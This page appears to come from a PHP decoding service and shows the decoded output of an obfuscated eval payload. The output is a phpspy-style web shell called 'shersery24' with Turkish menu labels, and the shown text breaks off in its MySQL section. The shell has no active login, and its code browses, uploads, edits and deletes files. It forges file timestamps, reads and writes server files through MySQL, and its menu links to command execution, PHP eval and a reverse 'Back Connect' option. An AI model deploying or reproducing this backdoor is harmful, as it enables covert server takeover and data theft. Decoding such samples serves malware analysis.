Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..

Decoded Output download

?><?php


error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array('_GET','_POST') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != '_') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*=====================   =====================*/
$admin = array();
//  , true ? , false ?.  ?? 
$admin['check'] = false;
//  , ?
$admin['pass']  = 'hack';

// cookie ? , ,  ?  ,  
// cookie 
$admin['cookiepre'] = '';
// cookie 
$admin['cookiedomain'] = '';
// cookie 
$admin['cookiepath'] = '/';
// cookie   
$admin['cookielife'] = 86400;
/*=====================  =====================*/

if ($charset == 'utf8') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();

/*=====================   =====================*/
if ($action == "logout") {
	scookie('phpspypass', '', -86400 * 365);
	p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
	p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
	exit;
}
if($admin['check']) {
	if ($doing == 'login') {
		if ($admin['pass'] == $password) {
			scookie('phpspypass', $password);
			p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
			p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
			exit;
		}
	}
	if ($_COOKIE['phpspypass']) {
		if ($_COOKIE['phpspypass'] != $admin['pass']) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*=====================  =====================*/

$errmsg = '';


//  ?
if ($doing == 'downfile' && $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = 'The file you want Downloadable was nonexistent';
	} else {
		$fileinfo = pathinfo($thefile);
		header('Content-type: application/x-'.$fileinfo['extension']);
		header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
		header('Content-Length: '.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}

//    
if ($doing == 'backupmysql' && !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p('<h2>'.mysql_error().'</h2>');
	$filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
	@header('Content-type: application/unknown');
	@header('Content-Disposition: attachment; filename='.$filename);
	$mysqldata = '';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

//  MYSQL ?
if($doing=='mysqldown'){
	if (!$dbname) {
		$errmsg = 'Please input dbname';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = 'The file you want Downloadable was nonexistent';
		} else {
			$result = q("select load_file('$mysqldlfile');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_magiccoder;");
				q("CREATE TABLE tmp_magiccoder (content LONGBLOB NOT NULL);");
				//  ,  __magiccoder_1111111111_eof__? 
				q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_magiccoder FIELDS TERMINATED BY '__magiccoder_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__magiccoder_{$timestamp}_eof__';");
				$result = q("select content from tmp_magiccoder");
				q("DROP TABLE tmp_magiccoder");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = 'Load file failed '.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header('Content-type: application/x-'.$fileinfo['extension']);
				header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace('.','','S.h.e.r.s.e.r.y.2.4');?> | </title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><a href="...." target="_blank">shersery24</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>			
			<?php if($admin['check'] != false){echo "<a href=\"javascript:goaction('logout');\">Logout</a> |";}else{}?> 
			<a href="javascript:goaction('file');">Ana Sayfa</a> | 
			<a href="javascript:goaction('sqladmin');">MySQL Baglan</a> | 
			<a href="javascript:goaction('sqlfile');">MySQL Yukle & indir</a> | 
			<?php if(getcfg('safe_mode') == 'Yes'){echo 'Execute Command (Safe Mode is On ) |';}else{ echo "<a href=\"javascript:goaction('shell');\">Execute Command</a> |";} ?>
			<a href="javascript:goaction('phpenv');">PHP Versiyona Bak</a> | 
			<a href="javascript:goaction('eval');">Eval PHP Code</a> |			<?php if(getcfg('safe_mode') == 'Yes'){echo 'NET (Safe Mode is On )';}elseif(IS_WIN){echo 'NET (Os is a Windows)';}else{ echo "<a href=\"javascript:goaction('net');\">Back Connect</a>";} ?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php

formhead(array('name'=>'goaction'));
makehide('action');
formfoot();

$errmsg && m($errmsg);

// 
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
	$dir = $dir.'/';
}
$uedir = ue($dir);

if (!$action || $action == 'file') {

	//     
	$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

	// 
	if ($doing == 'deldir' && $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.' directory does not exist');
		} else {
			m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
		}
	}

	// 
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m('Directory has already existed');
		} else {
			m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
			@chmod($mkdirs,0777);
		}
	}

	//  ?
	elseif ($doupfile) {
		m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
	}

	//  
	elseif ($editfilename && $filecontent) {
		$fp = @fopen($editfilename,'w');
		m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
		@fclose($fp);
	}

	//   
	elseif ($pfile && $newperm) {
		if (!file_exists($pfile)) {
			m('The original file does not exist');
		} else {
			$newperm = base_convert($newperm,8,10);
			m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
		}
	}

	// 
	elseif ($oldname && $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.' has already existed or original file does not exist');
		} else {
			m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
		}
	}

	// ?
	elseif ($sname && $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
		}
	}

	// 
	elseif ($curfile && $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m('The goal file has already existed or original file does not exist');
		} else {
			$time = @filemtime($tarfile);
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
		}
	}

	// 
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).' does not exist');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
		}
	}

	//  
	elseif($doing == 'downrar') {
		if ($dl) {
			$dfiles='';
			foreach ($dl as $filepath => $value) {
				$dfiles.=$filepath.',';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(',',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip->out;
			header('Content-type: application/octet-stream');
			header('Accept-Ranges: bytes');
			header('Accept-Length: '.strlen($code));
			header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
			echo $code;
			exit;
		} else {
			m('Please select file(s)');
		}
	}

	//  ?
	elseif($doing == 'delfiles') {
		if ($dl) {
			$dfiles='';
			$succ = $fail = 0;
			foreach ($dl as $filepath => $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m('Deleted file have finishedchoose '.count($dl).' success '.$succ.' fail '.$fail);
		} else {
			m('Please select file(s)');
		}
	}

	//  
	formhead(array('name'=>'createdir'));
	makehide('newdirname');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'fileperm'));
	makehide('newperm');
	makehide('pfile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'copyfile'));
	makehide('sname');
	makehide('tofile');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'rename'));
	makehide('oldname');
	makehide('newfilename');
	makehide('dir',$nowpath);
	formfoot();
	formhead(array('name'=>'fileopform'));
	makehide('action');
	makehide('opfile');
	makehide('dir');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free && $free = 0;
	$all = @disk_total_space($nowpath);
	!$all && $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');

?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt('Please input the directory name:', '');
	if (!newdirname) return;
	$('createdir').newdirname.value=newdirname;
	$('createdir').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
	if (!newperm) return;
	$('fileperm').newperm.value=newperm;
	$('fileperm').pfile.value=pfile;
	$('fileperm').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
	if (!tofile) return;
	$('copyfile').tofile.value=tofile;
	$('copyfile').sname.value=sname;
	$('copyfile').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
	if (!newfilename) return;
	$('rename').newfilename.value=newfilename;
	$('rename').oldname.value=oldname;
	$('rename').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$('filelist').doing.value=doing;
	if (thefile){
		$('filelist').thefile.value=thefile;
	}
	$('filelist').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt('Please input the file name:', '');
	if (!filename) return;
	opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$('fileopform').action.value=action;
	$('fileopform').opfile.value=opfile;
	$('fileopform').dir.value=dir;
	$('fileopform').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$('godir').view_writable.value=1;
	}
	$('godir').dir.value=dir;
	$('godir').submit();
}
</script>
  <?php
	tbhead();
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">Ana Dizin</a>');
	if ($view_writable) {
		p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
	} else {
		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">Yazila Bilir Alan</a>');
	}
	p(' | <a href="javascript:createdir();">Yeni Dizin Olustur</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Yeni Klasor Olustur</a>');
	if (IS_WIN && IS_COM) {
		$obj = new COM('scripting.filesystemobject');
		if ($obj && is_object($obj)) {
			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
			foreach($obj->Drives as $drive) {
				if ($drive->DriveType == 2) {
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
				} else {
					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
				}
			}
		}
	}

	p('</td></tr></form>');

	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

	//  ? 
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		//   
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb['filename']=$file;
				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$dirdb['dirchmod']=getChmod($filepath);
				$dirdb['dirperm']=getPerms($filepath);
				$dirdb['fileowner']=getUser($filepath);
				$dirdb['dirlink']=$nowpath;
				$dirdb['server_link']=$filepath;
				$dirdb['client_link']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {		
				$filedb['filename']=$file;
				$filedb['size']=sizecount(@filesize($filepath));
				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
				$filedb['filechmod']=getChmod($filepath);
				$filedb['fileperm']=getPerms($filepath);
				$filedb['fileowner']=getUser($filepath);
				$filedb['dirlink']=$nowpath;
				$filedb['server_link']=$filepath;
				$filedb['client_link']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = '0';
	foreach($dirdata as $key => $dirdb){
		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
			$thisbg = bg();
			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
			p('<td nowrap>'.$dirdb['mtime'].'</td>');
			p('<td nowrap>--</td>');
			p('<td nowrap>');
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
			p('</tr>');
			$dir_i++;
		} else {
			if($dirdb['filename']=='..') {
				p('<tr class='.bg().'>');
				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Ust Dizin</a></td>');
				p('</tr>');
			}
		}
	}

	p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
	makehide('action','file');
	makehide('thefile');
	makehide('doing');
	makehide('dir',$nowpath);
	$file_i = '0';
	foreach($filedata as $key => $filedb){
		if($filedb['filename']!='..' && $filedb['filename']!='.') {
			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
			$thisbg = bg();
			p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
			p('<td nowrap>'.$filedb['mtime'].'</td>');
			p('<td nowrap>'.$filedb['size'].'</td>');
			p('<td nowrap>');
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
			p('<td nowrap>');
			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
			p('</td></tr>');
			$file_i++;
		}
	}
	p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Secilenleri indir</a> - <a href="javascript:dofile(\'delfiles\');">Secilenleri Sil</a></td><td colspan="4" align="right">'.$dir_i.' Dizin / '.$file_i.' Dosya</td></tr>');
	p('</form></table>');
}// end dir

elseif ($action == 'sqlfile') {
	if($doing=="mysqlupload"){
		$file = $_FILES['uploadfile'];
		$filename = $file['tmp_name'];
		if (file_exists($savepath)) {
			m('The goal file has already existed');
		} else {
			if(!$filename) {
				m('Please choose a file');
			} else {
				$fp=@fopen($filename,'r');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file['name'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
			}
		}
	}
?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$('doing').value=doing;
	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
	$('mysqlfile').charset.value=$('dbinfo').charset.value;
	$('mysqlfile').submit();
}
</script>
<?php
	!$dbhost && $dbhost = 'localhost';
	!$dbuser && $dbuser = 'root';
	!$dbport && $dbport = '3306';
	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
	formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
	makehide('action','sqlfile');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBName:');
	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	p('</p>');
	formfoot();
	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
	p('<h2>Upload file</h2>');
	p('<p><b>This operation the DB user must has FILE privilege</b></p>');
	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
	p('<h2>Download file</h2>');
	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
	makehide('dbhost');
	makehide('dbport');
	makehide('dbuser');
	makehide('dbpass');
	makehide('dbname');
	makehide('charset');
	makehide('doing');
	makehide('action','sqlfile');
	p('</form>');
}

elseif ($action == 'sqladmin') {
	!$dbhost && $dbhost = 'localhost';
	!$dbuser && $dbuser = 'root';
	!$dbport && $dbport = '3306';
	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == 'backupmysql' && $saveasfile) {
		if (!$table) {
			m('Please choose the table');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,'w');
			if ($fp) {
				$result = q('SHOW tables');
				if (!$result) p('<h2>'.mysql_error().'</h2>');
				$mysqldata = '';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,'',$path);
				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
				mysql_close();
			} else {
				m('Backup failed');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."'".addslashes($val)."'";
				$tmp = ',';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."='".addslashes($val)."'";
			$tmp = ',';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
		}
	}
	if ($doing == 'del' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
	}

	if ($tablename && $doing == 'drop') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m('Drop table of success');
			$tablename = '';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');

	formhead(array('title'=>'MYSQL Baglan'));
	makehide('action','sqladmin');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?php
	//
	formhead(array('name'=>'recordlist'));
	makehide('doing');
	makehide('action','sqladmin');
	makehide('base64');
	makehide('tablename');
	p($dbform);
	formfoot();

	// 
	formhead(array('name'=>'setdbname'));
	makehide('action','sqladmin');
	p($dbform);
	if (!$dbname) {
		makehide('dbname');
	}
	formfoot();

	//
	formhead(array('name'=>'settable'));
	makehide('action','sqladmin');
	p($dbform);
	makehide('tablename');
	makehide('page',$page);
	makehide('doing');
	formfoot();

	$cachetables = array();	
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		//   
		$mysqlver = mysql_get_server_info();
		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
		$highver = $mysqlver > '4.1' ? 1 : 0;

		// 
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '-- Select a database --';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
		
		$tabledb = array();
		if ($dbname) {
			p('<p>');
			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
			if ($tablename) {
